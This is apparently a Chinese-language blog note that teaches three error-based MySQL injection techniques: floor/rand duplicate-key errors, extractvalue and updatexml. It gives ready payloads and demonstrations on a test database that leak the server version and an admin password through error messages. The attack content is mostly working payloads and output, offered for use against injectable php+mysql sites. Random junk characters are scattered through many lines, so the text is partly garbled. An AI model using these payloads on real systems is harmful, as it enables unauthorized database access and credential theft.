关于Mysql注入过程中的三种报错方式

admin

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
实际测试环境：
​

mysql> show tables;
+----------------+
. Z- v; c# K% F2 b  f| Tables_in_test |
+----------------+
0 ]& V3 t! m3 C| admin          |
* A2 L* S' y) e: n| article        |
  ~( L* P' T/ |1 W( _" X6 R" {+----------------+
" b) i$ [- K2 ]% ^3 ?7 \
" A7 K. A- z+ U; ?  n/ W/ F
( i; ~* N0 c9 b4 m# o: A  K
6 {0 `" Q! O7 S4 z) d0 Z# zmysql> describe admin;
3 a$ H! V( D2 f  Q! x+-------+------------------+------+-----+---------+----------------+
| Field | Type             | Null | Key | Default | Extra          |
1 O+ J4 D9 }0 X+-------+------------------+------+-----+---------+----------------+
/ K, Z3 K% Z- V, z' B" U| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
. c: q0 F7 V) M- O| user  | varchar(50)      | NO   |     | NULL    |                |
| pass  | varchar(50)      | NO   |     | NULL    |                |
% X* z' k& o* v5 d2 t+-------+------------------+------+-----+---------+----------------+



mysql> describe article;
+---------+------------------+------+-----+---------+----------------+
2 V% s- M$ p" @9 i| Field   | Type             | Null | Key | Default | Extra          |
+---------+------------------+------+-----+---------+----------------+
% G; l1 B. Q& p& j3 O| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| title   | varchar(50)      | NO   |     | NULL    |                |
| content | varchar(50)      | NO   |     | NULL    |                |
+---------+------------------+------+-----+---------+----------------+
1、通过floor报错
可以通过如下一些利用代码
% |; c( v4 |: I0 o( U; q0 Y
& y% y' \3 M; e& e
8 t  ^7 D" b1 L! x+ P: D& Aand select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
from information_schema.tables group by x)a);


and (select count(*) from (select 1 union select null union select !1)x
% T) {" x1 M" U% A2 Ngroup by concat((select table_name from information_schema.tables limit 1),
# v3 M, D: `  b: u0 p" Mfloor(rand(0)*2)));
7 g) q6 m4 \+ w  ?2 v举例如下：
首先进行正常查询：

0 z$ S0 J: v0 K/ R4 Imysql> select * from article where id = 1;
+----+-------+---------+
| id | title | content |
& G9 k% L, G' o/ T% {+----+-------+---------+
- E/ ^( {) s0 S: m|  1 | test  | do it   |
+----+-------+---------+
: H- U$ l: f0 @  W+ i假如id输入存在注入的话，可以通过如下语句进行报错。


5 X; H, h6 @$ ?mysql> select * from article where id = 1 and (select 1 from
( o) ^1 w" d% U; B/ \" |4 j(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
3 k  p& A+ q8 [, t" \可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
9 M* C/ D5 _! ]: j* X6 b例如我们需要查询管理员用户名和密码：
8 R/ h# i& Z% gMethod1:

! n! Y8 G$ _6 D" Q: ^7 |! h
3 k/ ~: z# v' X( ?8 Fmysql> select * from article where id = 1 and (select 1 from
- M1 f; ?0 ?) \/ n) t8 w" n% o(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
from information_schema.tables group by x)a);
7 G( w1 i2 @7 Z$ o( cERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
7 p$ q/ L1 b& F% A2 e* Q$ T0 iMethod2:

: `5 ^7 g7 {0 C  \
mysql> select * from article where id = 1 and (select count(*)
  j  D1 x8 B! j0 m) L' kfrom (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
3 k8 v2 o6 T, ?2 X/ Y- Rfloor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
! k8 n; w1 B1 c' \0 r& J* u; U( x# B! Z2、ExtractValue
测试语句如下
9 Q$ R& m; H1 ^

' c% i( W5 h+ {and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
实际测试过程


mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
/ s' i- `8 e9 X4 s, a9 o1 A3 a! o- T& |(select pass from admin limit 1)));--
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
: A7 e! G, `$ w& j3、UpdateXml
测试语句


" E4 H; f4 R0 ^( ?, M) y( fand 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
实际测试过程


1 y9 R7 b% {  ^" \mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
& [9 B* p. w. _1 W(select pass from admin limit 1),0x5e24),1));
7 [' C, q5 U% ^# X+ ~5 n/ jERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
All, thanks foreign guys.

7 Z3 Q- o. Y4 ]​
; a) D, k$ I! ^* V) H# k